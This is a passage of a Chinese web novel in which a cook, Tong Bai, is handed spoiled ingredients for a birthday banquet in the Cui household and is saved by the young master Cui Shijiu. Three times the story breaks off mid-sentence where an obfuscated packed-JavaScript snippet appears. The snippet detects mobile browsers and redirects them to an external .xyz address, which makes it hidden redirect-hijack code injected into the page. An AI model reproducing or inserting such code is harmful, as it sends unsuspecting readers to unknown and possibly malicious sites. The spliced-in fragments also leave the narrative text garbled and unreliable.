钱嬷嬷嗯了一声,又道:“府里的规矩,想来你也知道,我便不再重复。手脚干净些,用料仔细些,莫要浪费,更莫要生出不该有的心思。灶火、清水、油盐调料皆在此院自取。午时初刻前,需得备好四样点心并两样汤羹,送至文嬷嬷处试味。可能做到?” “奴尽力而为。”童白谨慎应答,尽管心中并不平静。 钱嬷嬷不再多言,示意小丫鬟打开中间最大的那间灶屋的门锁,转身进了旁边一间小屋。 童白根本来不及想别的,灶屋门才打开,一股浓烈、混杂的气味扑面而来。她上前几步,快速在灶屋里快速扫视一圈:灶台大锅一应俱全,只是光线有些昏暗,窗格纸略显陈旧。 童白几步走到放置着食材的木桌前,神情微微一滞。 果然,如她所料,问题显而易见。 放在盆里的肉,色泽暗沉,近闻有一股难以言喻的微弱腥气;旁边的鱼虽偶尔还会动弹一下,但鱼眼已略显浑浊;最显眼的那袋面粉,颜色看似白皙,但童白伸手抓了一把,指尖搓捻,细嗅之下,一丝极淡的霉味隐约可辨。 两个小丫鬟手足无措地站在门口,不敢进来。 童白心下一沉。 文奶娘的手段,果然又狠又毒,直接从根源上掐断她做出美味佳肴的可能。这些食材,莫说是宴客,便是自家人吃,也显勉强。 她深吸一口气,强迫自己冷静下来。 不能慌。慌乱便正中了对方下怀。 她走到门口,对那两个小丫鬟露出一个温和的笑容:“两位妹妹如何称呼?” 两个小丫鬟对视一眼,细声细气地回答:“奴婢春儿。”“奴婢夏儿。” “春儿,夏儿,”童白声音放缓,“麻烦春儿妹妹先去打一桶干净的井水来。夏儿妹妹,可否帮我去问问钱嬷嬷,库房里可有小苏打或是碱面?若有,可否支用少许?” 春儿怯怯地点头,拎起角落的水桶出去了。夏儿则犹豫地看向钱嬷嬷所在的小屋。 童白不再多言,转身回到灶屋。她先检查灶台,尝试生火。火石有些潮湿,打了数次才点燃木柴,火苗升起,却忽明忽暗,极不稳定。 灶膛通风显然被人动了手脚。 她抿紧唇,蹲在灶膛前看似在生火,实则脑中已经在想如何应对。 肉需反复浸泡清洗,或许加入小苏打或碱面能稍去异味?鱼刮鳞去腮,去内脏、黑膜,再用盐和酒狠狠腌制……面粉若霉变不严重,或许通过过筛、加入猪油或饴糖重油重糖来强行压制那点霉味? 但这都是权宜之计,能否真的挽救,挽救后又能否达到贵人的口味标准,全是未知。 每一步都如履薄冰。 春儿打了水回来,童白让她帮忙清洗食材。夏儿也回来了,手里捏着一小包碱面,低声道:“嬷嬷说,只这些了,让省着用。” “多谢。”童白接过,心下稍安,有总比没有强。 她挽起袖子,开始忙碌。 清洗,腌制,过筛,和面……每一个步骤都异常艰难,火候难以控制,春儿和夏儿明显从未在灶房做过事,动作生疏,食材本身的问题层出不穷。 额角渐渐渗出细汗,童白却顾不得擦。 时间一点点流逝,日头渐高。 隔壁小屋的门吱呀一声开了,钱嬷嬷踱步出来,在灶屋门口站定,目光冷冷地扫过屋内忙碌的景象,扫过童白额角的汗,扫过盆中那色泽依旧不算鲜亮的肉,鼻翼微不可察地动了动,嘴角似有一丝极淡的冷笑掠过,却并未出声,只又转身回了小屋。 那眼神,仿佛在看一个早已注定的败局。 童白手下动作未停,心却直往下沉。 她知道,真正的考验,还在后面。试味,送呈夫人……文奶娘的杀招,恐怕不止于食材。 她必须想出办法,破开这死局。 目光扫过窗外院角那几株无人打理、却顽强生长的野薄荷,童白眼神微凝。 肉用碱水反复浸泡搓洗,又加了姜片和少许她问夏儿寻来的花椒粒焯水,腥气稍减,但却遮掩不掉肉质不鲜导致的口感不佳。鱼也用粗盐和劣酒腌渍着。最麻烦的是面粉,即便过了几遍细罗,那丝若有若无的霉味依旧存在。 重油重糖或可掩盖,但文奶娘既设此局,届时必有人挑剔味道“不正”,若被扣上“以浓烈调味掩盖劣质食材”的帽子,更是百口莫辩。 春儿和夏儿显然察觉到气氛不对,动作越发小心翼翼,大气不敢出,偶尔偷瞄童白的眼神里带着同情和惶恐。 时间不等人。午时初刻须得送点心汤羹去试味。 童白目光再次落向窗外那丛野薄荷。脑中灵光一闪。 “春儿,”她声音镇定,带着不容置疑的吩咐,“去院角采一把那绿叶子回来,挑最嫩的尖儿,洗净沥干。” 春儿愣了一下,虽不明所以,但还是应声去了。 童白又看向夏儿:“夏儿,帮我看着火,保持中火,不要大也不要小,能办到吗?” 夏儿用力点头,蹲到灶膛前,眼睛紧紧盯着那跳跃不定的火苗,小手紧张地攥着衣角。 童白则快速将面粉分成两半。一半按原计划,加入猪油和饴糖,准备做甜口的胡麻糖环饼。这是她目前最有把握、也最符合贵人甜腻口味的点心。另一半,她决定冒险一搏。 春儿采了薄荷回来,洗净的薄荷叶翠绿欲滴,散发着清冽的香气。 童白取过一部分薄荷,快速剁成极细的碎末,加入另一半面粉中,又磕入仅有的两个鸡蛋,加入少许盐和一点点碱面水,快速揉成一个绿色的面团。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16308115|178855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打算做一道咸口的薄荷软饼。 薄荷的清凉香气或许能一定程度上中和面粉可能存在的异味,独特的口味也可能转移试味人的注意力,甚至带来意想不到的效果。这是一步险棋,但绝境之中,唯有出奇方能制胜。 接着,是做汤羹。 带来的干香菇用温水泡发,取汁提鲜。豆腐切细丝,与泡发的香菇丝同煮,撒上少许同样剁碎的薄荷末,做成一道看似清淡却暗藏心思的薄荷香菇豆腐羹。 灶屋里,三种不同的香气开始交织弥漫。甜腻的油香、清冽的薄荷香、还有菌菇的鲜香,奇异地混合在一起。 钱嬷嬷再次从屋里出来,站在门口,鼻翼翕动,眉头几不可察地皱了一下,目光在那盆绿色的面团上停留片刻,终究没说什么,又冷着脸回去了。 终于,在午时初刻将至时,四样点心并两样汤羹准备停当。 金黄酥脆的胡麻糖环饼、莹白剔透的水晶龙凤糕、碧绿清新的薄荷软饼、以及一碟炸得焦香的裹蛋面衣小鱼;汤羹则是薄荷香菇豆腐羹和一道简单的粟米甜粥。 品相勉强过得去。味道如何,童白心中也无十足把握。 一名穿着体面的丫鬟准时出现在院门口,声音清脆却带着疏离:“文嬷嬷处试味的点心可备好了?” “已备好。”童白深吸一口气,将食物仔细放入食盒。 丫鬟上前,逐一检视,看到那绿色的饼时,明显愣了一下,但没多问,示意身后的小丫鬟提起食盒。 “有劳姐姐。”童白道。 丫鬟淡淡瞥她一眼,“童小娘子且随我一同前来,”转身引着提食盒的小丫鬟走了。 童白站着快速理了理身上的衣服,跟在俩人身后,背脊挺直,手心一片湿冷。 她知道,第一关,才刚刚开始。 文奶娘的院落里。 玉娘早已等候多时,见到食盒送来,眼中闪过一抹兴奋,抢先一步上前:“姨母,让我来看看,究竟做出了什么好东西。”眼神都没给坠在最后的童白一个。 她打开食盒,一一检视。 看到那金黄的糖环饼和枣糕时,撇撇嘴,待看到那碧绿的薄荷软饼和简单的豆腐羹时,更是嗤笑出声:“这是什么东西?也敢拿来给姨母试味?” 文奶娘端坐上首,慢条斯理地拨着茶沫,眼皮都未抬一下:“急什么。呈上来。” 点心汤羹被小心摆放在她面前的案几上。 她先看了品相,目光在那薄荷软饼上停留片刻,然后拿起银箸,每样都略尝了一口。 尝到糖环饼时,她眉头微蹙,细品了品,没说话。 尝到水晶糕时,她咀嚼的动作慢了下来。 尝到薄荷软饼时,她顿了顿,眼中闪过一丝极细微的讶异。 最后,她各舀了一勺汤羹。 放下银箸,文奶娘接过丫鬟递上的茶水漱了漱口,面色平静无波。 玉娘迫不及待地问:“姨母,如何?是不是味道古怪?特别是那绿饼子,定是用了什么见不得人的东西……” 文奶娘却抬手止住了她的话头,目光扫向垂手侍立在下的童白,声音不高不低:“童小娘子。” “奴在。”童白上前一步,垂首应道。 “这点心汤羹,倒是有些……别致。”文奶娘语气平淡,听不出褒贬,“特别是这绿色的小饼,用的是何物?我竟未尝过此等味道。” 童白心下一紧,知道关键时刻来了,恭声回答:“回嬷嬷的话,是用院中野薄荷的嫩叶捣汁,合入面中制成。奴见其清香独特,或可开胃解腻,故而大胆一试。若有不当,请嬷嬷责罚。” 她将缘由引到“开胃解腻”和“大胆尝试”上,半真半假。 文奶娘沉默了片刻,玉娘紧张地看着她。 良久,文奶娘才缓缓开口,却是对身边的丫鬟吩咐:“将这些,尤其是这薄荷饼和豆腐羹,拣选一些,装一小食盒,给夫人送去。就说是老奴生辰宴上预备的新鲜吃食,请夫人品评指点一二。” “姨母!”玉娘失声,难以置信。这怎么和预想的不一样?不该是立刻发作吗? 文奶娘一个冷厉的眼神扫过去,玉娘立刻噤声,脸色煞白。 童白的心也提到了嗓子眼。送往夫人处?这究竟是转机,还是更大的危机?文奶娘此举,是真觉得新奇,还是想借夫人之手,行更彻底的打压? 她无从判断,只能深深低下头:“谢嬷嬷。” 文奶娘不再看她,挥了挥手:“下去吧。午后准备正宴菜肴,食材……依旧用早上送去的那些。望你好自为之。” 最后一句话,语气意味深长。 童白躬身退下,走出文奶娘的院子,后背已被冷汗浸湿。 第一关看似过了,却仿佛陷入更深的迷雾。下午的正宴,才是真正的考验。 心中不禁苦笑,最主要的是要用那些问题食材,做出足以宴客的菜肴…… 她抬头望了望崔府高耸的院墙,阳光有些刺眼。 路,还长得很。 49. 十九爷来了 回到小院,童白比去之前更不安。 试菜看似已成功应付过去,但正是因为应付过去了,她后续将要面对的挑战和困难只会更大。 如果是光明正大的考验厨艺,她一点都不怕。甚至于,就算是文奶娘说什么不喜欢吃她做的食物,她都能接受,毕竟千人千味,不对味口的情况时有发生。 但文奶娘哪会就这么简单的放过她呢? 玉娘好看懂,但文奶娘不是,这送吃食到崔夫人那的行为,让她摸不准文奶娘的真正意图。 是觉得新奇真想献宝,还是笑里藏刀,不管是哪一种,童白都有一种文奶娘会在她大意的时候再杀个措手不及的预感。 而她离去前那句“食材依旧用早上送去的那些”和“好自为之”,正是验证了她的这份预感。 午后的阳光斜斜照进灶屋,在暗色的地面上投下窗格的阴影,却驱散不了她心中的寒意。 正宴和试菜可不一样,至少需得有几样撑场面的主菜硬菜,肉、鱼这些食材不能少,想到此,童白看着那盆依旧显得有些黯淡的肉块和腥气难以尽除的鱼,眉头紧锁。 春儿和夏儿瑟缩地站在一边,大气不敢出。钱嬷嬷的小屋门依旧关着,仿佛一切与她无关。 童白深吸一口气,强迫自己冷静。她走到食材堆前,再次仔细翻检。除了那些明显有问题的肉、鱼和面粉,还有一些辅料:冬日储存的萝卜、白菜、干菇、一些豆制品、调味料。 东西不多,且品质普通。 她的目光落在那些萝卜和白菜上,又看了看那盆品相不佳的肉。 或许,只能弃“鲜”求“味”,用重味的烹调方法来烹饪,虽然这样的做法有些昧良心,却是她不得不做的。 “春儿,夏儿,”童白的声音恢复了几分镇定,“帮忙把这些萝卜和白菜洗净,萝卜切滚刀块,白菜切大段。” 她自己则开始处理那块肉,浸泡出血水是第一步,下一步便是焯水后完全炖煮至酥烂,后续再用浓郁的调味来覆盖。 肉改刀成块的时候,童白心中思量着,这样处理过的肉用来做红烧肉和回锅肉都可以,不过,重酱重料的红烧肉更合适一些。 至于说没有酱油,她视线往不远处的调料区瞄了一样,就只能用豆酱和饴糖来调和出近似酱红的颜色和咸甜的口味。 而鱼却是比肉麻烦多了。毕竟新鲜的鱼天生就带着一股子鱼腥味,何况这种不新鲜的鱼呢。 先腌制,腌制后再用高温油炸进一步压制腥气,再调制些重口味的浓汁来提味,比如说醋味。 “夏儿,你去找一下钱嬷嬷,说我需要多一些的糖和醋。” 夏儿怯生生地去敲了小屋的门,半晌回来,手里拿着一个小醋瓶,量少得可怜。“嬷嬷说,只这些了。” 童白接过,心下苦笑。饴糖珍贵她是知道的,但是没想到连醋都卡着自己。 她将鱼身划刀,破开后仔细清理着鱼腹内膜,用清水洗净后,把仅有的酒以及那一点点醋,混合姜末和花椒,调成一个浓稠的腌料,狠狠涂抹在鱼身内外,希望能最大限度地入味去腥 灶火依旧不听话,需要有人时刻盯着。童白让春儿专门负责看火,自己则穿梭于几个灶眼之间,控温、翻炒、炖煮。 汗水湿透了她的鬓发和麻衣。油烟气、酱香味弥漫在小小的灶屋里。 时间一点点流逝,日头渐渐西斜。 卡在正宴开始前,童白完成了烹饪。 色泽深红、酱香和甜腻红烧肉;油炸后浇上浓稠酸甜汁的鱼;一道用干菇和豆皮熬煮的素高汤煨制的萝卜块;一道清炒白菜;以及勉强用剩余面粉和饴糖做的甜味点心。 品相勉强凑合,味道…… 童白尝了一口红烧肉,酱味极重,肉质虽酥烂,但底味的那一丝不新鲜感,鱼也是如此,外面的汁味道猛烈,内里的鱼肉,她虽没尝,但心里却是清楚。 童白的心一点一点沉下去,虽然她能尝出这么多是因为她天生味嗅觉敏感,但并不代表其他人尝不出来新鲜不新鲜。 就在这时,院外传来一阵脚步声,两名穿着体面、神色肃穆的婆子出现在门口,身后跟着几名粗壮仆妇。 “童小娘子何在?”为首的那个婆子声音洪亮,目光锐利地扫过灶屋和童白,“奉夫人之命,前来查验生辰宴菜品。” 童白的心猛地一跳。夫人?直接派人来查验? 她连忙上前行礼:“奴在此,菜品已备齐,请嬷嬷查验。” 那婆子并不急于看菜,而是先上下打量了童白一番,眼神在她沾着油污的麻衣和疲惫的脸上停留片刻,才踱步到案桌前,逐一检视菜肴。 她看得极为仔细,甚至拿起银箸,每样都浅尝了一口。 尝到红烧肉时,她眉头瞬间拧紧,又细细咀嚼了几下。 尝到鱼时,她的表情更是凝重。 就连那清炒白菜,她也尝了,沉默不语。 灶屋内的空气仿佛凝固了。春儿和夏儿吓得脸色发白,几乎要哭出来。连钱嬷嬷也不知何时从小屋出来了,垂手站在一旁,眼观鼻鼻观心。 那婆子尝完所有菜,放下银箸,接过身后丫鬟递上的茶水漱了口,面色沉静如水,看不出丝毫情绪。 “童小娘子,”她缓缓开口,声音不大,却带着无形的压力,“这些菜肴,便是你为文嬷嬷生辰宴所备?” “是。”童白垂首应道,手心全是汗。 “用料倒是十足,”婆子的语气听不出褒贬,“只是这味道……肉腥未除尽,鱼鲜亦不足,调味过于猛烈,似乎欲盖弥彰。”她顿了顿,目光如刀般射向童白,“夫人尝了你午间送去的点心,那薄荷饼倒也新奇爽口。本以为你手艺确有独到之处,如今看来,这正宴菜肴,实在令人失望。莫非是敷衍了事,抑或是……手艺仅止于此?” 每一个字都像锤子砸在童白心上,她指尖冰凉。赵嬷嬷的每一个字都像冰锥,精准地刺穿她所有的侥幸。 文奶娘的杀招,或许根本不在试味,而在于这正式查验的时刻! 用有问题的食材逼她做出有瑕疵的菜肴,再以高高在上的姿态,一击毙命! 辩解食材问题?无异于指责崔府,自寻死路。 她张了张口,却发现喉头干涩,发不出任何声音。绝望如同冰冷的潮水,瞬间淹没了四肢百骸。 就在她几乎要被这无形的压力击垮时,院外忽然传来一个清朗慵懒,带着几分戏谑的声音。 “哦?是什么菜色,竟让赵嬷嬷给出‘欲盖弥彰’这般重的评语?倒让我也来品鉴品鉴,看看是何等不堪。” 众人皆是一惊,骇然循声望去。 只见院门口,不知何时来了一位身着月白长衫、手持折扇的年轻郎君,眉眼疏朗,嘴角噙着一丝玩味的笑意,正饶有兴致地看着屋内。他身后跟着的,正是张勇! 赵嬷嬷脸色骤变,慌忙躬身行礼,语气前所未有的恭谨:“十九爷安好!您怎的到这油烟污秽之地来了?”她心下骇然,此事怎会惊动这位爷? 崔十九郎并未立刻叫她起身,目光先是在面无人色的童白身上停留一瞬,继而慢悠悠踱到案前,扫过那些菜肴。“好奇罢了。”他用扇骨虚点了点那碟红烧肉,“听说夫人赞了童小娘子的某道点心,我便来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16338576|178855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看看这正宴如何。张勇……”他略一抬手。 张勇立即上前,将一副随身携带的银箸奉上。 崔十九郎执箸,每样菜都细细尝了一口。他咀嚼得很慢,神色莫测,全然不顾周遭几乎凝滞的空气和无数道紧张的目光。 尝到红烧肉时,他眉梢微挑;尝到鱼时,他顿了顿;最后尝了一口凉拌白菜,目光似是不经意地扫过童白紧攥着衣角、指节发白的手。 良久,他放下银箸,接过丫鬟递上的清茶漱了口。 “赵嬷嬷,”他开口,声音依旧懒洋洋的,却带着一种不容置疑的份量,“你品得不错,肉底味确有不逮,鱼鲜亦欠了几分。” 童白的心猛地一揪。 却听他话锋一转:“不过……这酱汁熬得浓稠挂壁,甜咸交织,火候倒是老道,下饭极佳。这鱼炸得外酥里嫩,浇汁酸甜开胃,勉强掩过去了。至于这白菜……”他目光再次落向童白,眼中闪过一丝极难察觉的探究,“菜丝切得匀细,爽脆犹在。只是这调味……似乎另辟蹊径,用了点不寻常的东西来提鲜?” 童白心中巨震,他竟连这细微之处都尝出来了! 她不敢隐瞒,深吸一口气,强迫自己镇定下来,屈膝回道:“十九爷明鉴。奴……确实滴了几滴薄荷汁,妄图以此增鲜,掩盖不足。”她将“掩盖不足”四字轻轻吐出,既是实话,也暗指了食材本身的缺陷。 崔十九郎眼中笑意深了些,“妙啊!虽显急智,剑走偏锋,倒也算别出心裁,胆色可嘉。”他转而看向赵嬷嬷,语气依旧平淡,却压得人喘不过气:“嬷嬷,宴席菜色,众口难调。况乎巧妇难为无米之炊?我倒觉得,这小娘子在这般食材之下……”他目光意有所指地扫过那些残存的、品相不佳的原料,刻意停顿一瞬,“能急中生智,做成这般滋味,已属难得。其机变之心,比起一味追求食材鲜嫩,岂不是更值得称道?夫人既喜她点心之新,或许也会赞她这应对之巧。” 钱嬷嬷的目光在那碟被十九爷点评的凉拌白菜上多停留了一会儿,眼中闪过一丝极淡的讶异和衡量。 赵嬷嬷脸色变了几变,十九爷话已至此,甚至隐隐点出了食材猫腻,她若再纠缠,便是蠢了。她终是深深低下头:“十九爷说的是,是老奴思虑不周,狭隘了。” 形势瞬间逆转! 童白怔怔地看向那位仿佛从天而降的十九爷,心中惊涛骇浪尚未平息,却又涌入巨大的、不敢置信的庆幸。他不仅救了她,竟还用这种方式,轻描淡写地戳破了文奶娘的局? 崔十九郎也正看着她,嘴角那抹玩味的笑意未减,眼神却深邃难辨,仿佛透过她在看别的什么。“童小娘子,”他语气慵懒,“看来张勇夸你手艺好,并非虚言。今日这席面,我便替你担下了。往后……”他拖长了语调,没有说完,只意味深长地笑了笑,转身欲走。 “多谢十九爷回护之恩!”童白连忙深深福礼下去,声音因后怕与激动微微发颤。 崔十九郎摆了摆手,仿佛做了件微不足道的小事,对赵嬷嬷道:“罢了,此处事了,回吧。” 张勇微垂着头,跟在十九爷身后,在经过童白身边时,飞快地对她投来一个“安心”的眼神。 赵嬷嬷等人也面色各异地匆匆离去,离去前,还将童白做好的菜肴放入食盒中带走。 灶屋里,只剩下虚脱的童白、两个惊魂未定的小丫鬟,以及面色复杂的钱嬷嬷。 危机,似乎暂时解除了。 但童白知道,文奶娘和玉娘绝不会善罢甘休。 她看着窗外渐沉的落日,余晖将崔府的高墙染上一层暖色,却依旧让人觉得冰冷而遥远。 50. 童白展厨艺,崔十九爷点明现况^…… 身穿统一衣裙的丫鬟们消失在童白的视线中,让她不禁恍然,适才的事情是否是真实发生。 一阵微风吹过,背后被汗液洇湿处传来的湿寒让怔愣在原地的童白瞬间回神。 就在这时,钱嬷嬷取下腰间别着的长条深色木牌,“春儿、夏儿,拿着木牌去大厨房找吴管事,将这些晦气东西送回去,另取一份新鲜食材来。就说是……十九爷吩咐,要给文嬷嬷生辰宴添菜。” 童白转头看向钱嬷嬷,眼中有着不解和困惑。 添菜?自己是崔夫人请来为文奶娘准备生辰宴的,哪怕现在有所变化,却怎么也算不上添菜吧。 但再在心里琢磨一番,童白瞬间明悟。 原来说是请她来做宴席,实则正宴早就有打算,这是想着既要用生辰宴搞自己又不愿生辰宴就这般被毁啊。 真是,好一番算计啊! 春儿接过木牌,拉着夏儿慌忙收拾好余下的食材,行礼后匆匆出了小院。 院子里只剩下钱嬷嬷和童白,钱嬷嬷的视线落在童白身上,淡淡道:“只望小娘子能拿出本事来,别让十九爷的好意错付了。”这话听着是叮嘱,却也带着一丝不易察觉的审视。 童白压下心头万千思绪,眼下最重要的是抓住机会。她行礼道:“必不敢辜负十九爷和嬷嬷。只是……”她看向灶屋里的灶膛,“除了食材,火候亦是关键,可否请嬷嬷……” 钱嬷嬷嘴角微勾,露出个意味不明的笑容:“小娘子还需要什么,不若直言。” 童白直视她,“帮厨至少两人,专司烧火的两人。还有,小厨房若有其他调料,恳请嬷嬷允我使用。”赵嬷嬷方才斥她调味猛烈,她偏要用这府里的正经调料,做出一桌宴席! 钱嬷嬷眯了眯眼,只说了句‘跟我来’,便走向灶屋隔壁的一间小屋。门一开,一股浓郁复杂的香料气息扑面而来。 “自己看吧。”钱嬷嬷手在空中一扫。 童白步入其中,就着窗外天光,心跳骤然加速。 只见,屋内靠西墙摆放的架子上分门别类地放着花椒、桂皮、八角、香叶、草果……,靠北墙放置着一排瓮缸,里面是浓稠的豆酱、酱清、豉汁,在瓮缸之上的架子上的陶瓶里盛着香醋、陈醋,东北角落更是垒着好些个酒坛。 她越看越是心喜,哪怕这些并不属于自己。她逐一辨认过去,直到掀开一个瓦罐一股熟悉的、辛烈刺激的味道直冲鼻尖。 是茱萸酱! 心中顿时狂喜!一道道红艳热辣的菜谱在她脑中疯狂涌现,口水几乎要抑制不住。 “小娘子,”钱嬷嬷的声音冷不丁响起,带着一丝不耐,“若是选不出,不若等新食材到了再定夺?” 这一句话将童白拉回先是,她顺从地放下瓦罐,退至门外,垂首道:“嬷嬷说的是,是奴忘形了。” 钱嬷嬷见她还算识趣,脸色稍霁,抬手拉上了库房的门,两人无言地站在檐下。 檐下的等待并未持续太久。 春儿和夏儿很快回来,身后跟着两名粗壮的仆妇抬着满满一筐新食材。 新鲜的猪肉肥瘦相宜,透着粉嫩的光泽;两条肥硕的鲫鱼在桶中活蹦乱跳,鳞片在夕阳下闪着银光;时新的白菜、萝卜水灵灵,甚至还有一小筐罕见的、提前催发的嫩韭黄。 除了韭黄外,全还是之前送来的食材种类,只不过品相却好了不止一点,正是如此,才让童白觉得后怕。 若不是十九爷帮了自己,凭借着文奶娘在府上多年的经营,她或许连喊冤求主家做主的机会都不会有。 “钱嬷嬷,吴管事说,东西都在这儿了。”春儿怯生生地递回木牌。 钱嬷嬷查验一番,点了点头,目光转向童白,带着审视:“童小娘子,时辰不早了,莫再耽搁。” “是,谢嬷嬷。”童白压下心中的激动,沉声应道。 不管如何,她知道,这是她的机会。 现在根本不适用躲着藏着,她需要体现出自己的价值和能力。不然,十九爷为何要帮她呢? 童白迅速指挥起来:“春儿,夏儿,将豚肉、鱼清洗干净。两位妈妈,劳烦将灶火生旺,要稳,不要急火。”两位仆妇应声而动,她们显然比小丫鬟熟练得多,很快,灶膛里便燃起稳定而旺盛的火苗。 童白看到这一幕,心下有所想法,面上却没有表露出来,这会儿并不是细思这些的时候。 她拿起菜刀,习惯性的在瓦碗地步磨了几下,再用手指感受了下锋利度,拿起猪肉,将最肥嫩的五花部分,切成方正的大块,准备做一道真正的、足以震慑味蕾的红烧肉。 另外分割下来的瘦肉则片成将近透明的薄片,用少量酱清、蛋清抓匀,准备待会儿与韭黄同炒,取一个鲜嫩爽口。 鲫鱼刮鳞去腮,再去掉内脏和黑膜,洗净血水,用姜片、少许酒略腌,准备用来煨汤,熬出一锅奶白鲜香的鱼汤作为宴席的底味。 童白的心思,更多落在了那罐茱萸酱上。 在宴席上直接做一道“辣菜”是冒险的,毕竟,她去了那么多趟的西市,却是没有在哪家铺子发现茱萸的踪迹。 茱萸能否已经作为烹饪的主料或者配料,尚不知道。 但若只是作为蘸料呢? 她取来一个小碟,舀了一小勺深红色的茱萸酱,又兑入少许府里提供的优质香醋和一点点饴糖,用筷子细细调匀,凑近鼻尖一嗅。 酸、甜、辛、香,层次丰富,诱人食欲。 这是她准备的秘密武器,也符合她一直在外人面前立的人设,巧思! 红烧肉在锅里咕嘟咕嘟地炖着,糖色炒得恰到好处,呈现出诱人的琥珀色,加入酱清、酒和水慢慢煨炖,肉香混合着酱香,浓郁霸道,弥漫在整个小院。 另一边,灶上大火用鏊子煎好腌制好的鲫鱼,再将鲫鱼移到陶瓮中,添加烧开的水大火炖煮,奶白色的汤汁在锅里微微翻滚,鲜气四溢。 白菜的菜心,切成极细的丝,用盐略抓,挤掉水分,堆成一个小巧的山形,用鏊子煎制了几张鸡蛋皮,切成比白菜心粗一点的丝,又淋上几滴香油。 最后,将那小碟茱萸蘸料放在盘子另一边。 白菜的嫩黄搭配上焦香的鸡蛋皮,不仅颜色上显得十分清新脱俗,口感也是清爽开胃,正好搭配着肉菜一起,是一道能在一众浓油赤酱中脱颖而出的小菜。 时间悄然流逝,天色渐暗。小院也点起了灯笼。 一道道菜肴被精心摆盘,放入温着的食盒中。 红烧肉油润赤红,颤巍巍,肥而不腻;韭黄熘肉片,咸鲜滑嫩;奶白鲫鱼汤,汤色醇厚,鲜香扑鼻;凉拌白菜蛋皮丝配茱萸蘸汁,红黄白三色交辉相应,清新别致。 至于说甜点,她并未重新制作,还是胡麻糖环饼以及薄荷饼。 负责传菜的丫鬟准时到来,依旧是那副不苟言笑的模样。她打开食盒逐一检视,目光在那碟红艳的茱萸蘸料上停顿了一下,眼中闪过一丝讶异,但并未多问,只是示意身后的小丫鬟们提起食盒。 “有劳姐姐。”童白依旧保持着恭敬。 那丫鬟看了看她,又瞥了一眼站在一旁沉默不语的钱嬷嬷,忽然开口,声音比之前缓和了些:“夫人方才尝了那薄荷饼,说了句‘尚可’。” 一句轻飘飘的“尚可”,却让童白的心猛地落回了实处。 “谢姐姐告知。”童白福了一礼。 丫鬟点点头,领着人走了。 小院再次安静下来,两名仆妇和春儿、夏儿正在一旁收拾着狼藉的灶台。 钱嬷嬷踱步过来,目光扫过童白苍白的脸,淡淡道:“今日便到这里吧。”指着余下的食材,“这些,童小娘子可全带回家去。”这几乎是明确的善意了。 童白惊讶地抬头,眼角余光扫过小厨房中余下的食材,又看了眼屋外的天色,她咽了咽口水,“谢嬷嬷照拂,但这会儿,坊门怕是都关上了。”这些世家贵族富户可真是大方啊。 上回在谢家做短工,结束后,主家也会给在厨房帮工的人发余下的食材。谢家如此,崔家更是如此。 钱嬷嬷用一种你在说什么的表情看向她,慢悠悠道:“若是有需要,坊门是可以再开。” 原 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16350996|178855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来这就是权贵的特权,童白心中了然。 但能回去自然是更好,她点头应下。 厨房里的其他四人听到钱嬷嬷的话语,停下手上的工作。春儿找出竹背篓,和夏儿将余下的食材全装入竹背篓中,两名仆妇帮着将竹背篓固定在童白背上。 童白谢过她们,跟在钱嬷嬷的身后出了小院,身影被风吹的晃动的灯笼映照着在地上形成了细长的黑影。 灰蒙蒙的空中已经升起一道弯弯的月牙,童白保持着在钱嬷嬷侧后方三步开外的距离。此刻正好是府上主子们用膳的时间,外面行走的仆从很少。 穿过两个月亮门,她们来到前后院的院门处。 钱嬷嬷扣响了院门,“我是十九爷院子里的钱嬷嬷。” 童白垂着头,目光停在青黑色的砖石之上,这里的砖缝间没有一丝杂草,更没有青苔,有的只有冰冷的砖石和因为常年被踩踏出来的微微凹陷的痕迹。 “钱嬷嬷安好,”隔着院门透来的声音有些失真,“请问钱嬷嬷此时来前院所为何事?” “奉十九爷的命令,送今日前来府上负责庖厨的厨娘出府。”说着,钱嬷嬷抬起手,手心赫然摆放着一枚深黑色小物件,“我这有十九爷的牌子。” 一番响动后,小方格被打开,露出站在门边之人的面容来,是一名面容刚毅、眉尾带疤的中年汉子。 汉子拿过钱嬷嬷掌心的物件仔细打量,又将视线放在钱嬷嬷身后半垂着头的身影上打量片刻,才缓缓道:“钱嬷嬷稍等,待某前去确认。” 原主的记忆里,崔府的前院和后院就像是一道木门隔开的两个世界,童白本无太多感触,但此刻,她突然跟原主同感了。 约莫一刻钟后,院门打开,童白听到张勇张军士的声音,“有劳钱嬷嬷了,十九爷让我送童小娘子回家。” “唔,”钱嬷嬷点点头,对童白说:“去吧,今日辛苦童小娘子了。”话说的十分客气有礼,言语间的冷淡疏离却也明显。 